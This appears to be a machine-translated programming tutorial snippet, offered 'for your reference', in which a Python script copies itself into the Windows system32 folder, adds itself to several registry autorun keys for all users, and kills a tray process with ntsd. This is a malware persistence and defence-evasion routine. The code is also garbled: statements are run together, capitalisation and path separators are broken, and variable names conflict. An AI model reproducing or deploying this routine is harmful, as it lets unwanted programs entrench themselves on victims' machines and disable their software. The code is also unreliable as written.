This example describes how Python modifies the registry to terminate the process. Share to everyone for your reference.
The specific implementation code is as follows:
Import _winregimport osimport shutil# copy itself Shutil.copyfile (k3.exe,c:windowssystem32k3.exe) #把启动改为自身run = _winreg. Openkey ( _winreg. HKEY_LOCAL_MACHINE, "Softwaremicrosoftwindowscurrentversionrun", 0,_winreg. Key_write) _winreg. SetValueEx ( run, "Safetray", 0,_winreg. REG_SZ, R "C:windowssystem32k3.exe") #添加自启动self = _winreg. Openkey (_winreg. HKEY_LOCAL_MACHINE, "Softwaremicrosoftwindowscurrentversionrun", 0,_winreg. Key_write) _winreg. SetValueEx (Run, "K3", 0,_winreg. Reg_sz,r "C:windowssystem32k3.exe") #添加所有用户启动allrun = _winreg. Openkey (_winreg. HKEY_LOCAL_MACHINE, "Microsoftwindowscurrentversionpoliciesexplorerrun", 0,_winreg. Key_write) _winreg. SetValueEx (Allrun, "K3", 0,_winreg. Reg_sz,r "C:windowssystem32k3.exe") #终止进程os. Popen ("ntsd-c q-pn tray.exe cmd")
Hopefully this article will help you with Python programming.